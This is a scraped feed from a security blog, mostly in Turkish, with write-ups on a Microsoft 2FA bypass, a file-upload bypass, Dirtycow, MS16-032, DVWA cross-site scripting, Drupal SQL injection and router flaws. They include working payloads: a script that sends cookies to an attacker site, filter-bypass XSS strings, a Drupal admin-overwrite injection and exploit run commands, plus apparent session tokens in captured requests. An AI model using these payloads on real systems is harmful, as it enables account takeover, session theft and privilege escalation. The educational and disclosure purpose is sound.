Greetings, Summary Vulnerability allows you to confirm a phone number or mail that you own or not. So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or […]
EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN
]]>Greetings,
Vulnerability allows you to confirm a phone number or mail that you own or not. So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or e-mail address to the corporate e-mail address without knowing it. This is very big in terms of computer forensic. A criminal offense may appear attached to your email address as confirmed by your phone. So you can be in a criminal position. Think that your phone number has been approved at wannacry’s email address, Hello FBI it’s not me, it’s 0day
Step1:
The administrator must approve a two factor authentication and request you to add the phone number from your account when logging in.
Step2:
I tried atony first through phone number. When I realized that I went on from the mail address.
Step 3:
Let us examine the outgoing request when we press the verification buton;
POST /passwordreset/SendEmail.ajax HTTP/1.1 Host: account.activedirectory.windowsazure.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 X-Requested-With: XMLHttpRequest AjaxSessionKey: null __RequestVerificationToken: xkbu4lBzTLi4syPavllsrfnvFxXgEWQIGC1sadasdaxxHuzbcu01 Content-Type: application/x-www-form-urlencoded; charset=utf-8 Referer: https://account.activedirectory.windowsazure.com/passwordreset/register.aspx?client-request-id=x&sspr=1 Content-Length: 455 Cookie: flt=0; BOX.SessionCacheKey.SessID=cac246d0-xxxx-4bb5-879c-9xxxxe5ba1; BOX.SessionCacheKey.sspr-reg-ru=https://login.microsoftonline.com/common/SAS/ProcessAuth?request=rxxxxG5dO028RI59EjuJL3VO43C; BOX.CacheKey.CachedCSSFiles=1.0.0.1960:0xxxxxxFEDxx40xDB475A4C0x9B3Fxxxx2487 DNT: 1 Connection: close p0=%7B%22UserCompanyName%22%3A%22Lostar%22%2C%22MobileCountryCode%22%3A%2290%22%2C%22MobileCountryCodeIndex%22%3A213%2C%22MobilePhoneNumber%22%3A%22x%22%2C%22AltEmail%22%3A%22berk.imran7%40gmail.com%22%2C%22RegistrationAttribute%22%3A%22AlternateEmailAttribute%22%2C%22MobilePhoneValidationOptionKey%22%3A%22%22%7D&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register
When I examine the outgoing post request and when I perform url decode;
p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register
All you need to do is change the phone number or mail address with Proxy. Namely;
p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register
Step4:
Got e-mail.
Step5:
Boom!
October 10: Report Submitted
October 16: Report reviewed
October 18 – 21: Discussion
November 17: Report closed as resolved
Final: Award and hall of fame.
Thanks
Best Regards
Berk İmran
EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN
]]>Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı. Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti. POST /token HTTP/1.1 Accept: application/json Content-Type: application/x-www-form-urlencoded Content-Length: 128 Host: […]
]]>Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı.
Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti.
POST /token HTTP/1.1 Accept: application/json Content-Type: application/x-www-form-urlencoded Content-Length: 128 Host: api.eksisozluk.com Connection: close User-Agent: okhttp/2.3.0 grant_type=password&username=berk.imran7%40gmail.com&password=blablabla&client_secret=6x8a95c-6xa28-x59ea-9d56-569532x
Profil fotoğrafı yükleme alanından önce normal bir fotoğraf yükledim.
HTTP/1.1 200 OK Date: Mon, 10 Jul 2017 18:33:59 GMT Content-Type: application/json; charset=utf-8 Content-Length: 57 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains {"Success":true,"Message":"image uploaded successfully."}
Başarılı şekilde yüklendi. Şimdi php yzantılı atmayı deneyelim. Dönen istek bu şekilde.
HTTP/1.1 200 OK Date: Mon, 10 Jul 2017 18:37:51 GMT Content-Type: application/json; charset=utf-8 Content-Length: 62 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains {"Success":false,"Message":"please upload image of type .jpg"}
Giden isteği tekrar manipüle ediyorum.
POST /v1/user/forme/upload/avatar HTTP/1.1 Accept: application/json Authorization: bearer ixJwjW_kYNfwZhDF1LoHcpfK2wEmqPHUNEdLd7YEIGc59drWUUUeK6L4MBZipwme928Q8FsNsgDn9flYfzxAS63vTEhqkM8mbigPjMjPC4IYdJPzuw0UIGUqT_FYFsFmeNvOaT5ToOTdrTuiHZsU-JreWYzNlWvfg7XkBK-G2vhIdb6Gc4_odnsg_kqcjJGSObiIM_g2iqkQuQqrMcGiEOI6mfyWrtvlngWwpZ4eiZe1-mztKHCnrREs_nHePmKd Content-Type: multipart/form-data; boundary="----MyGreatBoundary" Content-Length: 25130 Host: api.eksisozluk.com Connection: close User-Agent: okhttp/2.3.0 ------MyGreatBoundary Content-Disposition: form-data; name=avatar; filename=avatar.jpg;php; filename*=utf-8''avatar.jpg.php
Ve yükleme başarılı.
Gelelim fotoğrafın nereye yüklendiğini bulmaya. Uygulama üzerinden fotoğrafın adresini öğrenemediğim için tarayıcı üzerinden devam ediyorum.
Doğrulama yapmadığım için haliyle oturum açmadı. Yine proxy aracılığı ile gereken bilgileri veriyorum.
Zafiyet fixlendikten sonra bu yazıyı yazdığım için jpg olarak yükledi.
Burada fotoğrafların direk eksisozluk.com domaininde olmasını ve rootlamaya kadar gitmesini isterdim ama haliyle başka sunucuda çıktı
Tüm sözlüğe selam olsun
]]>TR | DIRTYCOW Hakkında Dirtycow Linux sistemlerde hak yükseltme zafiyeti olarak bilinmektedir. Dirtycow olarak adlandırılmış ve resmi olarak CVE-2016-5195 etiketini almıştır. Bu zafiyet android sistemlerde dahil olmak üzere tüm linux tabanlı işletim sistemlerini etkilemektedir. Zafiyetin tespiti Red-Hat firmasının araştırmaları sonucu ortaya çıkmıştır. İsmini ise linux çekirdek mekanizmasındaki Copy-On-Write sisteminden almıştır(COW). Çekirdeğin bellek yönetimi esnasında alt sistemlerinde yazma […]
]]>Dirtycow Linux sistemlerde hak yükseltme zafiyeti olarak bilinmektedir. Dirtycow olarak adlandırılmış ve resmi olarak CVE-2016-5195 etiketini almıştır. Bu zafiyet android sistemlerde dahil olmak üzere tüm linux tabanlı işletim sistemlerini etkilemektedir. Zafiyetin tespiti Red-Hat firmasının araştırmaları sonucu ortaya çıkmıştır. İsmini ise linux çekirdek mekanizmasındaki Copy-On-Write sisteminden almıştır(COW). Çekirdeğin bellek yönetimi esnasında alt sistemlerinde yazma sırasında kopyalama işlemini gerçekleştirirken yarış koşullarından yaralanılarak(bkz : race condition , kernel race condition) yetki yükseltme işleminin gerçekleşmesi hatasıdır. Bu hatayı Phil Oester keşfetmiştir. Fakat Linus Torvalds bu açığı daha önceden bildiğini ve düzeltmeye çalıştığını bunun üzerine başarısız olduğunu , bulunduğu zaman dilimi içerisinde bunun zor olduğunu ve o şekilde bıraktığını itiraf etmiştir.
Zafiyetin Eylül 2007 de piyasaya sürülen 2.6.22 sürümünden bu yana Linux çekirdeğinde bulunduğu belirtilmektedir. Ayrıca bu zafiyetin Ekim 2016 tarihine kadar sömürüldüğüne dair iddialar bulunmaktadır. Sürecin bu kadar uzun olması ve zafiyetin bu süreç içerisinde düzeltilmemesi saldırganlar için velinimet olması aşikardır. Bu zafiyetin 4.8.3 , 4.7.9 , 4.4.26 ve daha yeni çekirdek sürümlerinde düzeltildiği belirtilmektedir. Bu yüzden kendi çekirdek sürümümüzü (bkz: kernel version) güncellememiz gerekmektedir. Bir başka konuya değinmek gerekirse bu da android sistemlerdeki zafiyettir. Kendi çekirdeğimizi güncellemek daha kolay olabilir fakat android sistemlerde gerek güncellemelerin alınması gerek bu güncellemelerle çekirdek versiyonun yükseltilmesi ne kadar mümkün tartışılabilir. Ayrıca büyük şirketler bazı eski cihazlardan desteğini çekmesi gibi bir konuda mevcut. Bu bilgiler ışığında piyasada bu zafiyete sahip birçok android cihazın bulunduğunu öngörmek çokta yanlış değildir.
Bu zafiyeti incelerken neler yapacağız belirtmek gerekirse Copy-On-Write özelliğinde ki hatayı kullanarak sadece okuma yetkisi verilmiş bir dosyaya herhangi bir root yetkisinde olmayan bir kullanıcı yetkisi ile bir şeyler yazmaya çalışacağız. İlk olarak bu dosyaya bir şeyler yazmayı denediğimizde ‘permission denied’ hatasını alacağız. Ve bu hatayı Dirtycow zafiyetini kullanarak aşmaya çalışacağız. Daha sonra ise root yetkisine erişmeyi deneyeceğiz. Benim bu zafiyeti test etmek için kullandığım sistem Ubuntu 14.04 LTS işletim sistemidir. Bu işletim sistemi kernel versiyonu ise 4.4.0-31-generic sürümüdür. Şimdi ekran görüntüleriyle bu zafiyeti uygulamalı olarak inceleyelim.
İlk olarak kullanıcı yetkimizi ve kernel sürümüzü görelim. Bunun için aşağıdaki komutları kullanabiliriz.
id
uname -r
Şimdi gerçekleştireceğimiz test işlemlerine geçelim. İlk olarak aşağıda vereceğim siteyi incelemenizi öneriyorum.
Burada Dirtycow hakkında bilgi alabilirsiniz ve yazılan exploiti indirebilirsiniz. View Exploit kısmına tıklarsanız sizi Dirtycow exploitinin bulunduğu github reposuna yönlendirmektedir. Buradan Dirtycow exploitini indirelim.
Ayrıca aşağıda vereceğim link üzerinden de ulaşabilirsiniz.
https://github.com/dirtycow/dirtycow.github.io
gcc -pthread dirtyc0w.c -o canyoupwnme
echo CanyoupwnmeDeneme > cypwntest.txt
gcc -pthread c0wroot.c -o cypwnROOT
Bu yazımızda Dirtycow zafiyeti ile sadece okuma yetkisine sahip bir dosya üzerinde yazma işlemi gerçekleştirdik. Ve ayrıca root yetkisine erişmiş olduk. Bu zafiyetten kurtulmak için çekirdek sürümümüzü yükseltmemiz önemlidir. Ayrıca geliştirilmekte olan işletim sistemleri için öncelikli güvenlik tavsiyesi güncelleştirmeleri takip etmektir. İşletim sistemimizi her zaman güncel tutmamız tavsiye edilmektedir.
]]>
Powershell betiğini kullanarak bu MS16-32 zafiyeti ile hak yükseltme saldırısıdır. Bu zafiyet Secondary Logon servisindeki bug dan kaynaklanıyor. Secondary Logon servisi; Windows işletim sisteminde oturumu kapatmadan farklı bir kullanıcı olarak sistemde bir oturum elde etme veya komut çalıştırmadır. Örneğin “Run as” yani “farklı çalıştır” komutu windows işletim sisteminde, herhangi bir programı veya servisi giriş yapmış […]
TR | System Privilege Escalation Vulnerability (MS16-032) CanYouPwnMe
]]>Powershell betiğini kullanarak bu MS16-32 zafiyeti ile hak yükseltme saldırısıdır. Bu zafiyet Secondary Logon servisindeki bug dan kaynaklanıyor.
Secondary Logon servisi; Windows işletim sisteminde oturumu kapatmadan farklı bir kullanıcı olarak sistemde bir oturum elde etme veya komut çalıştırmadır. Örneğin “Run as” yani “farklı çalıştır” komutu windows işletim sisteminde, herhangi bir programı veya servisi giriş yapmış olduğunuz kullanıcıdan farklı bir kullanıcı hesabıyla çıkış yapmadan kullanabilmenizi sağlar.
Bu zafiyetten etkilenen systemler: vista, 7, 8.1,10, windows server 2008, 2012
Exploit
Not: İstismarın gerçekleşmesi için işletim sisteminin en az 2 çekirdeği olmalıdır.
exploit-db.com/exploits/39719/
adresinden elde edebilirsiniz.
Import-Module .\MS16-032.ps1
TR | System Privilege Escalation Vulnerability (MS16-032) CanYouPwnMe
]]>XSS Nedir ? Netscape , javascript dilinin tarayıcılarda çalıştırabileceğini duyurduğunda web sunucusu tarafından gönderilen ve istemcide çalıştıralabilen kodların güvenlik riskleri yaratabileceğini göstermiş oluyordu.Örneğin bir sayfadan çalıştırılan betik diğer bir sayfaya ulaşabilecekti.İşte bu noktada xss açıkları kullanılabilecekti.Açılımı Cross-Site Scripting olan Xss saldırıları Reflected XSS ve Stored XSS olmak üzere ikiye ayrılmaktadır.Reflected XSS saldırısı bir web uygulamasının […]
]]>Netscape , javascript dilinin tarayıcılarda çalıştırabileceğini duyurduğunda web sunucusu tarafından gönderilen ve istemcide çalıştıralabilen kodların güvenlik riskleri yaratabileceğini göstermiş oluyordu.Örneğin bir sayfadan çalıştırılan betik diğer bir sayfaya ulaşabilecekti.İşte bu noktada xss açıkları kullanılabilecekti.Açılımı Cross-Site Scripting olan Xss saldırıları Reflected XSS ve Stored XSS olmak üzere ikiye ayrılmaktadır.Reflected XSS saldırısı bir web uygulamasının linkinde eğer parametre varsa ve bu parametrenin değeri sayfaya çıktı olarak “yansıtılıyorsa” saldırganların bu mekanizmayı kullanarak kendi değerlerini sayfaya yansıttırması işlemine denir. Reflected türkçe olarak zaten yansıtılmış anlamına gelir.Deneme yanılma yaparak bulununan bu açıklar ile saldırgan, başka bir alan adından, açığın bulunfuğu alan adı ve sayfanın bilgilerini,oturum ayrıntılarını ve diğer nesne değerlerini çalabilmektedir.Stored XSS ise kalıcı hedef siteye kalıcı hasarlara yol açabilir. Örneğin o sitenin veritanına enjekte edilmiş komutlar ile kalıcı hasarlar verilmiş olur.
Deneme yanılma ile bunu bulmaya çalışıyoruz. Örneğin, dwva nın bize sunduğu xss açığında input’a gelip <script>alert(‘Sayfa XSS Açığına Sahip’)</script> yazdığımız zaman ekrana aşşağıdaki gibi bir aler alabiliyorsak bu sistemde açık mevcut demektir.
Not: XSS zafiyetlerini chrome tarayıcısı engellemektedir fakat kaynak kodu görüntülediğimizde kırmızı renklendirdiğini görebilirsiniz. Makalemde Firefox web tarayıcısını kullanacağım.
Bu açığı uygulamak için bir web uygulamasına ihtiyacımız var biz burada örnek olarak DVWA kullanacağız. Öncelikle bunun kurulumunu yaparak başlıyoruz. Aşşağıdaki linkten gerekli dosyayı indiriyoruz.
https://github.com/RandomStorm/DVWA/archive/v1.9.zip
İnecek dosyayı kurulu işletim sistemimizde çalışan web sunucusunun ( Apache – Nginx – LiteSpeed – Python simple web server vb ) çalıştırılabilir dizinine çıkartıyoruz. Ben kurulumu apache web sunucusu üzerine devam ettireceğim, kullandığım işletim sistemi Linux dağıtımı olduğu için dosyamı çıkartacağım dizin “ /var/www/html” dizini olacaktır. Windows bir bilgisayarda XAMP kurulu ise “C://xamp/htdocs”, OS X işletim sistemine sahip olan bilgisayarda MAMP kurulu ise, “Applications/MAMP/htdocs/” dizini altına çıkarmanız, değil ise kullandığınız web sunucunun çalıştırılabilir kök diznine yerleştirmeniz gerekmektedir.
Sisteminizde bulunan herhangi bir metin düzenleyici aracılığı ile ilgili dosyayı açıp düzenlemeniz gerekmektedir, yazımda ben sublime text 3 editörünü kullandım.
Terminal:
subl /var/www/html/DVWA-1.0/config/config.inc.php
Bu işlemleri yaptıktan sonra dvwa-1.9’un içerisinde yer alan config klasörüne geliyoruz ve buradaki config.inc.php dosyasını metin editörü ile açıyoruz.
Burada yer alan ‘p@ssw0rd’ olan kısımı root olarak yada kendi şifremiz ne ise onunla değiştiriyoruz.
Son olarakta tarayıcımızda localhostumuzdan bu dvwa yı açıp create database dediğimizde kurulumu bitirmiş oluyoruz. Username’e “admin”, şifre kısmına ise “password” yazarak DVWA sistemine giriş yapmış bulunuyoruz. DVWA standart olarak bu kullanıcı adı ve şifresini atamaktadır.
Bunun ardından DVWA Security sekmesine tıklayıp güvenlik düzeyini low’a getiriyoruz. ( Giriş seviyesinde zorluk )
Yukarıdaki gibi uyarıyı alabiliyorsak , hedef sitedeki ziyaretçinin o anki DVWA’ya ait olan çerezini ele geçirebiliriz.Böylece hedef sitede kurbanın kullanıcı adı ve şifresini bilmeden kurbanın çereziyle hedef sitede kurban yetkileri ile dolaşabiliriz.Peki bu işlemi nasıl gerçekleştiririz ?
Link:
http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script> window.location.href=”bizimsitemiz.com/index.php?cookie=” + document.cookie;</script>
Bu linkte gördüğümüz <script> window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie;</script> script kodu başka bir sayfaya yönlendirmeye yarar ve cookie değerini bizim sitemize göndermemizi sağlar. Hazırladığımız index.php dosyasının içeriği aşağıdaki gibidir;
Eğer Linux’ta DVWA’yı çalıştırıyorsanız /var/www/ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun, Windows’ta DVWA’yı çalıştırıyorsanız C:\xampp\htdocs\ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun. Bu klasörün içerisine index.php adlı bir dosya oluşturun ve dosyanın içerisine yukarıdaki php kodunu ekleyip kaydedin.
Linux dosya sisteminin gereği olan sonradan eklenen dosyaların güvenlik açısından yetkilendirilmesi zorunluğundan terminalimizden ilgili klasöre yetkilendirme vermeliyiz.
Terminal:
sudo chmod -R 777 /var/www/html/bizimsitemiz
Bu komutu uzak sunucunuzda kullanmanız güvenlik açısından zaafiyet oluşturacaktır.
Daha sonra belirlediğimiz kurbana göndereceğimiz link aşşağıdaki gibidir;
http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script>window.location.href="http://localhost/bizimsitemiz/index.php?cookie="%2Bdocument.cookie</script>
Kurban bu linke tıkladığı anda çerezini bize göndermiş olur.Bizde gelen bu değerleri dosyamıza yazdırmış oluruz.Şimdi biz hem kurban hemde saldırgan olarak bu senaryoyu gerçekleştirelim.
Firefox tarayıcımızdan kurban gibi verilen linke tıklayalım.
Bu ekranla karşılaşırız.Daha sonra cookie.html dosyamızı açıp oradaki cookie değerimizi kopyalayalım.
Daha sonra crome tarayacımızdan aşşağıdaki linki açalım ,
https://chrome.google.com/webstore/category/extensions?hl=tr
ve buradaki arama çubuğuna edit this cookie yazalım.Sonuçlar arasındaki EditThisCookie adlı eklentiyi crome’a ekleyelim.
Şimdi dvwa nın login sayfasına gelelim.
Daha sonra açılan sayfamızda sağ üstte bulunan yeni eklediğimiz eklentimizi açalım.
Buradaki security değerine low yazalım.Bunun ardından PHPSESSID sekmesine geçelim.
Daha sonra kopyaladığımız cookie değerini buraya yapıştıralım ve alttaki yeşil tike tıklayakım.
Son olarak yeni sekmeye geçelim ve tekrar DVWA’nın login ekranını açalım.Bu işlemi yaptığımızda bizi aşağıdaki gibi bir sayfa karşılayacaktır.
Gördüğünüz gibi kurbanın kullanıcı adı ve şifresini öğrenmeden sisteme o imiş gibi girebildik.
Medium leveldeki kaynak kod;
burada aldığı önlem str_replace komutu sayesinde gerçekleşir. Eğer ‘<script>’ gelirse önünde arkasında ne olursa olsun sil anlamına gelir.Bu güvenlik önlemini aşabilmek için <scr<script>ipt>alert(‘Sayfa XSS açığına sahip!’);</script> şeklinde bir kod girersek bu önlemi aşmış oluruz ve alerti alabiliriz.
High leveldeki kaynak kod;
burada gördüğümüz üzere ;
/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
Dikkat ederseniz (.*) kısımlarını regular expression’dan çıkarırsanız <script kelimesini göreceksiniz. <script’in aralarına konulan (.*) ile yapılmak istenen şudur: “<script yazısının başında, ortasında, sonunda, her yerinde başka karakter olabilir. Böyle bir desen bulursan onu komple sil”.
Bu güvenlik önlemini nasıl aşabiliriz ?
Tahmin edebileceğiniz üzere bu önlem sadece script tagleri için alınmıştır ancak biz burada hala alert alabilmemiz mümkündür bunu hmtl eventleri ile sağlayabiliriz.
<input type="text" onchange="alert('XSS Açığı Mevcut');">
Bu kodu gönderdiğimizde bir input daha açılacaktır bu eventi çalıştırabilmiş olacağız, ve yeni inputun içine yazabileceğimiz her yazı için alertimizi görebiliriz.
Kaynak kodumuzda alacağımız önlemler bu konuda etkilidir.Makalemde kullandığım DWVA’nın bütün aşamalarının kaynak koduna baktığımızda alınan güvenlik önlemlerini görebiliriz.
Uygulama güvenliğiniz için XSS vb. saldırılara karşı geliştirişmiş eklentiler mevcuttur.Bunlardan en sık kullanılanları : AntiXss ,HTML Purifier vb. eklentilerdir.Bu eklentileri kullanmanızı tavsiye ederim.
HTTPOnly, Microsoft tarafından geliştirilmiştir. HTTPOnly’nin yaptığı iş cookie verilerimizi korumaktır.Cookie bilgilerinde HTTPOnly imzası taşıyan tanımlama bilgilerine,sadece HTTP protokolü tarafından erişim sağlanabilir.Yani bir XSS saldırısına mağrus kalmanız durumunda , tanımlama bilgilerinizde HTTPOnly imzası varsa tarayıcı bilgileri dışarıya aktarmayacaktır.
]]>Drupal açık kaynaklı bir içerik yönetim sistemidir. 15 Ekim 2014 tarihinde Sektioneins ekibi tarafından SQL injection zafiyeti tespit edilmiştir. Bu zafiyet Drupal’in 7.0 ve 7.31 versiyonları için geçerlidir. Bu açıklığı kapatmak için sisteminizdeki Drupal versiyonunu güncellemeniz gerekmektedir. Zafiyet kullanıcıdan alınan verinin array olması durumunda ilgili fonksiyonun expand etmeye çalışmasından dolayı gerçekleşmektedir. Bundan ötürü UPDATE, DELETE, […]
TR | Drupal 7.x SQL Injection Vulnerability (CVE-2014-3704) CanYouPwnMe
]]>Drupal açık kaynaklı bir içerik yönetim sistemidir. 15 Ekim 2014 tarihinde Sektioneins ekibi tarafından SQL injection zafiyeti tespit edilmiştir. Bu zafiyet Drupal’in 7.0 ve 7.31 versiyonları için geçerlidir. Bu açıklığı kapatmak için sisteminizdeki Drupal versiyonunu güncellemeniz gerekmektedir. Zafiyet kullanıcıdan alınan verinin array olması durumunda ilgili fonksiyonun expand etmeye çalışmasından dolayı gerçekleşmektedir. Bundan ötürü UPDATE, DELETE, DROP gibi SQL sorgularını çalıştırabilirsiniz.
Arka planda çalışan kod bloğu şu şekildedir;
protected function expandArguments(&amp;amp;amp;amp;amp;$query, &amp;amp;amp;amp;amp;$args) { $modified = FALSE; // If the placeholder value to insert is an array, assume that we need // to expand it out into a comma-delimited set of placeholders. foreach (array_filter($args, 'is_array') as $key =&amp;amp;amp;amp;gt; $data) { $new_keys = array(); foreach ($data as $i =&amp;amp;amp;amp;gt; $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate // a duplicate key. We do not account for that as the calling code // is already broken if that happens. $new_keys[$key . '_' . $i] = $value; } // Update the query with the new placeholders. // preg_replace is necessary to ensure the replacement does not affect // placeholders that start with the same exact text. For example, if the // query contains the placeholders :foo and :foobar, and :foo has an // array of values, using str_replace would affect both placeholders, // but using the following preg_replace would only affect :foo because // it is followed by a non-word character. $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query); // Update the args array with the new placeholders. unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }
Kullanıcıdan alınan değerin array olması durumunda veritabanında çalışan sorgu aşağıdakine benzer biçimde olacaktır.
SELECT * from users where name IN (:name_0, :name_1)
Eğer alınan array birden fazla key içerirse oluşacak sorgu aşağıdaki gibi olacaktır ve zafiyet meydana gelecektir.
SELECT * FROM users WHERE name = :name_test
Bu zafiyeti exploit etmek için python ile geliştirilen script’e aşağıdaki adreslerden ulaşabilirsiniz.
drupalpass.py
drupal_7.x_sql_injection_sa-core-2014-005.py
İndirilen script dosyalarının aynı dizinde bulunması gerekmektedir. Script i aşağıdaki resimdeki gibi parametreleri vererek çalıştırabilirsiniz.
python drupal_7.x_sql_injection_sa-core-2014-005.py http://localhost/drupal/ admin 123456
bu komut çalıştırıldığında veritabanında bulunan id değeri 1 olan kullanıcının zafiyetten yararlanılarak kullanıcı adı ve şifresi parametrelerde verdiğimiz şekilde veritabanı üzerinde güncellenir ve çalışan sorgu şu şekildedir.
name[0%20;update+users+set+name%3d\'" \ +user \ +"'+,+pass+%3d+'" \ +hash[:55] \ +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in
Drupal multi query özelliğine destek sağladığı için önce select sorgusu ile veritabanında user seçilir ve ardından update sorgusu ile admin hesabı üzerinde güncelleme işlemi gerçekleştirilir.
Atadığımız kullanıcı adı ve şifre ile sisteme admin yetkisi ile erişebilirsiniz.
TR | Drupal 7.x SQL Injection Vulnerability (CVE-2014-3704) CanYouPwnMe
]]>Merhabalar, Bu yazımızda sizlerle Allegro RomPager da bulunan başka bir zafiyeti inceleyeceğiz. Bu zafiyet önceki Misfortune Cookie yazısında incelediğimiz zafiyete benzer şekilde saldırganın yönetim paneline erişimini sağlıyor. Zafiyetin nedeni modem ayarlarının yedeğini aldığınızda oluşan “rom-0” isimli backup dosyasının password protected olmamasıdır. URL üzerinden dosyaya erişmeye çalıştığımız takdirde hiçbir şifre talep edilmeden bu dosya indirilebilecektir. Elde […]
]]>Merhabalar,
Bu yazımızda sizlerle Allegro RomPager da bulunan başka bir zafiyeti inceleyeceğiz. Bu zafiyet önceki Misfortune Cookie yazısında incelediğimiz zafiyete benzer şekilde saldırganın yönetim paneline erişimini sağlıyor.
Zafiyetin nedeni modem ayarlarının yedeğini aldığınızda oluşan “rom-0” isimli backup dosyasının password protected olmamasıdır. URL üzerinden dosyaya erişmeye çalıştığımız takdirde hiçbir şifre talep edilmeden bu dosya indirilebilecektir.
Elde edilen bu dosyanın içeriği LZS algoritmasıyla sıkıştırılmış olup online decoderlar ile çözüldükten sonra içeriğine rahatça erişilebilir.
Peki bu dosyanın içerisinde hangi bilgiler var? Router’ın konfigurasyon bilgileri ve daha da önemlisi giriş için kullanılan kullanıcı adı ve parola!
Bu bilgileri elde ettikten sonra yönetim paneline erişmemiz ise an meselesi.
Gördüğünüz üzere zafiyetin istismarı bu kadar basit. Etki alanını tahmin etmek isterseniz bu shodan raporuna bakmanız yeterli.
Bir cihazın rom-0 zafiyetine sahip olup olmadığını kontrol etmek için ise şöyle ufak bir bash scripti hazırladım.
#!/bin/sh if [[ $1 == "" ]] then echo "Usage: $0 " exit fi a=`curl -I "http://$1/rom-0" 2>&1` if [[ $a == *"401 Unauthorized"* ]] then echo "Safe." else echo "Not Safe!" fi
Bir sonraki yazıda görüşmek üzere.
https://www.gokmenguresci.com/
https://rootatnasro.wordpress.com/
Bu yazımızda sizlerle etki alanı oldukça geniş olan ve yüksek risk içeren bir zafiyeti inceleyeceğiz. Misfortune Cookie olarak adlandırılan zafiyet routerlarda web arayüzü sunmak için kullanılan Allegro Rompager adlı gömülü web server uygulamasında bulunuyor. Bu yazılımın birçok marka/model routerda kullanılması zafiyetin etki alanını bir hayli genişletiyor. Zafiyet aracılığıyla saldıgan herhangi bir şifreye ihtiyaç duymadan router’ın […]
]]>Bu yazımızda sizlerle etki alanı oldukça geniş olan ve yüksek risk içeren bir zafiyeti inceleyeceğiz. Misfortune Cookie olarak adlandırılan zafiyet routerlarda web arayüzü sunmak için kullanılan Allegro Rompager adlı gömülü web server uygulamasında bulunuyor. Bu yazılımın birçok marka/model routerda kullanılması zafiyetin etki alanını bir hayli genişletiyor. Zafiyet aracılığıyla saldıgan herhangi bir şifreye ihtiyaç duymadan router’ın web kontrol paneline erişim sağlayabiliyor. Bu da zafiyeti oldukça riskli bir hale getiriyor. Hadi incelemeye başlayalım.
NOT: Yazıda kullanılan kod parçaları ve görseller alıntıdır.
Zafiyetimizin istismar vektörü, adından da anlaşılacağı gibi, cookie verisi. Gelin önce sunucuya gönderilen cookie değerine bir bakalım.
Gönderilen cookie’nin formatı “CX=value” şeklinde. Bunun sebebini web server’ın cookie’yi parse eden kısmına bakınca daha iyi anlıyoruz.
ROM:8010E5B0 loc_8010E5B0: # CODE XREF: sub_8010E574+EC j ROM:8010E5B0 li $t7, 0x43 # 0x43='C' ROM:8010E5B4 bne $v0, $t7, loc_8010E618 ROM:8010E5B8 li $a1, 0x3D ROM:8010E5BC addiu $s0, 1 ROM:8010E5C0 move $a0, $s0 ROM:8010E5C4 jal sub_8016C340 ROM:8010E5C8 nop ROM:8010E5CC move $a0, $s0 ROM:8010E5D0 move $s1, $v0 ROM:8010E5D4 addiu $s1, 1 ROM:8010E5D8 jal sub_801F2E74 ROM:8010E5DC sb $zero, -1($s1) ROM:8010E5E0 move $a0, $s1 ROM:8010E5E4 jal sub_8016CA24 ROM:8010E5E8 move $s3, $v0 ROM:8010E5EC li $a2, 0x28 ROM:8010E5F0 mul $t2, $s3, $a2 ROM:8010E5F4 move $a1, $s1 ROM:8010E5F8 addiu $t5, $s4, 0x6B28 ROM:8010E5FC move $s0, $v0 ROM:8010E600 addu $at, $s1, $s0 ROM:8010E604 addu $a0, $t5, $t2 ROM:8010E608 jal sub_8016A784 ROM:8010E60C sb $zero, 0($at) ROM:8010E610 j loc_8010E644 ROM:8010E614 addu $s0, $s1, $s0 ROM:8010E618 # ---------------------------------------------------------------------------
Yukarıdaki MIPS Assembly kodlarını anlamakta sıkıntı çekiyorsanız (ben çektim) şu kaynaklara göz gezdirmenizi öneririm:
